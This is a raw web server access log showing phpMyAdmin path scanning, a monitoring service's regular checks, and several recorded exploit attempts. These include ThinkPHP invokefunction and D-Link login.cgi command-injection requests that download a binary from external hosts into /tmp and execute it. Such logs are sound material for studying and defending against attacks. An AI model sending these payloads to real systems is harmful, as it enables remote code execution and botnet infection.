115.159.123.29 - - [24/Feb/2020:21:40:07 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:07 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:07 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:07 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:08 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:08 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:08 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:09 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:09 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:09 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:09 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:10 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:10 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:10 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:10 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:11 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:11 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:11 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:11 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:12 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:12 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:12 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:12 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:13 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:13 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:13 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:15 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:15 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:15 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:15 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:16 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:16 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:16 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:17 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:17 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:17 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:18 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:18 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:19 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:20 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:20 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:21 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:21 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:21 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:22 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:22 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:22 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:22 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:23 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:23 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:23 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:23 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:24 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:24 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:24 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:25 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:25 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:25 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:26 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:26 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:26 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:26 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:27 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:27 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:27 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:27 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:28 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:28 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:28 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:29 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:29 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:29 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:30 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:30 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:30 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:31 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:31 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:31 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:31 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:32 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:32 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
212.91.246.72 - - [24/Feb/2020:21:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.159.123.29 - - [24/Feb/2020:21:40:33 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:33 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:33 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:34 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:34 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:34 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:35 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:35 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:36 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:36 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:36 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:36 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:37 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:37 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:37 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:38 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:39 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:39 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:40 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:40 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:41 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
115.159.123.29 - - [24/Feb/2020:21:40:41 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
212.91.246.72 - - [24/Feb/2020:21:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:21:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:21:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [24/Feb/2020:21:43:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:21:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:21:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:21:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.73.116.18 - - [24/Feb/2020:21:47:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:21:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:21:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:21:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [24/Feb/2020:21:50:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [24/Feb/2020:21:50:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [24/Feb/2020:21:50:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [24/Feb/2020:21:50:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:21:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [24/Feb/2020:21:50:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.64.94.220 - - [24/Feb/2020:21:51:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
125.64.94.220 - - [24/Feb/2020:21:51:17 +0100] "\x16\x03\x01" 501 318 "-" "-"
197.44.232.84 - - [24/Feb/2020:21:51:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:21:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:21:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.17.156.9 - - [24/Feb/2020:21:53:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:21:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.170 - - [24/Feb/2020:21:54:31 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:21:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:21:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:21:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:21:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:21:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:21:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:22:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.189.119.154 - - [24/Feb/2020:22:02:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:22:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
